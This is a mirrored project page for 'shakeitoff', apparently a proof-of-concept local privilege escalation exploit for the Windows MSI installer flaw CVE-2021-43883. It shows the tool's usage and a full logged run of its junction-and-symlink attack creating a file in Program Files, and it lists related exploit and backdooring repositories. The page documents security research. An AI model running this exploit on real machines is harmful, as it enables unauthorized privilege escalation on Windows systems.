All Projects → jbaines-r7 → shakeitoff

jbaines-r7 / shakeitoff

Licence: BSD-3-Clause license
Windows MSI Installer LPE (CVE-2021-43883)

Programming Languages

C++
36643 projects - #6 most used programming language
c
50402 projects - #5 most used programming language

Projects that are alternatives of or similar to shakeitoff

Exploit-Development
Exploit Development - Weaponized Exploit and Proof of Concepts (PoC)
Stars: ✭ 84 (+23.53%)
Mutual labels:  exploit, lpe
k8badusb
BadUSB Teensy downexec exploit support Windows & Linux / Windows Cmd & PowerShell addUser exploit
Stars: ✭ 32 (-52.94%)
Mutual labels:  exploit
CVE-2019-8449
CVE-2019-8449 Exploit for Jira v2.1 - v8.3.4
Stars: ✭ 66 (-2.94%)
Mutual labels:  exploit
go-gtfo
gtfo, now with the speed of golang
Stars: ✭ 59 (-13.24%)
Mutual labels:  exploit
SubRosa
Basic tool to automate backdooring PE files
Stars: ✭ 48 (-29.41%)
Mutual labels:  exploit
expdev
Vulnerable software and exploits used for OSCP/OSCE preparation
Stars: ✭ 24 (-64.71%)
Mutual labels:  exploit
pwn-pulse
Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)
Stars: ✭ 126 (+85.29%)
Mutual labels:  exploit
CVE-2021-41773 CVE-2021-42013
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE
Stars: ✭ 20 (-70.59%)
Mutual labels:  exploit
exploit-CVE-2015-3306
ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container
Stars: ✭ 97 (+42.65%)
Mutual labels:  exploit
Discord-Block-Bypass
Simple script that utilities discord's flaw in detecting who blocked who.
Stars: ✭ 24 (-64.71%)
Mutual labels:  exploit
MSF-Self-Defence
Self defense post module for metasploit
Stars: ✭ 18 (-73.53%)
Mutual labels:  exploit
fusee-nano
A minimalist re-implementation of the Fusée Gelée exploit (http://memecpy.com), designed to run on embedded Linux devices. (Zero dependencies)
Stars: ✭ 49 (-27.94%)
Mutual labels:  exploit
mRemoteNG-Decrypt
Python script to decrypt passwords stored by mRemoteNG
Stars: ✭ 96 (+41.18%)
Mutual labels:  exploit
PocOrExp in Github
聚合Github上已有的Poc或者Exp,CVE信息来自CVE官网。Auto Collect Poc Or Exp from Github by CVE ID.
Stars: ✭ 544 (+700%)
Mutual labels:  exploit
exploiting
Exploiting challenges in Linux and Windows
Stars: ✭ 122 (+79.41%)
Mutual labels:  exploit
DoubleStar
A personalized/enhanced re-creation of the Darkhotel "Double Star" APT exploit chain with a focus on Windows 8.1 and mixed with some of my own techniques
Stars: ✭ 140 (+105.88%)
Mutual labels:  exploit
CRAX
CRAX: software CRash analysis for Automatic eXploit generation
Stars: ✭ 44 (-35.29%)
Mutual labels:  exploit
batchql
GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations
Stars: ✭ 251 (+269.12%)
Mutual labels:  exploit
Axon
Unrestricted Lua Execution
Stars: ✭ 59 (-13.24%)
Mutual labels:  exploit
Python
Python Powered Repository
Stars: ✭ 17 (-75%)
Mutual labels:  exploit

shakeitoff

A smaller, minimized, and cleaner version of InstallerFileTakeOver aka the zero-day exploit that is a "variation" of CVE-2021-41379 (later assigned CVE-2021-43883). This version does not pop a shell like InstallerFileTakeOver. The point of this code was to create a simpler proof of concept that more reliably demonstrates the file creation attack. This proof of concept will create the arbitrary file requested by the user (and copy itself into it to prove writablity). Demonstrating code execution is a trivial excercise left up to the reader.

To understand how the attack works, please see the AttackerKB write up.

Usage

The tool requires three parameters:

C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
  -h, --help              produce help message
  -m, --msi_path arg      The path to the MSI to install
  -i, --install_path arg  The path to install to
  -p, --target_path arg   The file to create
  1. -m - the msi to install (full path required). One is provided in this repository (and you should use it since the file paths actually matter).
  2. -i - the install path (full path required). This is where the msi is installed / the exploit goes down. The user must specify this beforehand and it must be an empty directory. The tool doesn't clean it up because it makes figuring out the bug easier. There also must be a trailing \ because I'm a monster.
  3. -p - the file to overwrite/create. Full path required.

The PoC will just copy itself into the target file.

Usage Example

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

File Not Found

C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

12/02/2021  02:01 PM           368,640 lol
               1 File(s)        368,640 bytes
               0 Dir(s)  86,015,610,880 bytes free

Credit

  • This code is influenced by the original exploit published by Abdelhamid Naceri (also the original vulnerability discoverer!).
  • The FileOpLock code is a (slight modified) version pulled out of angrypolarbearbug2
  • Taylor Swift
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].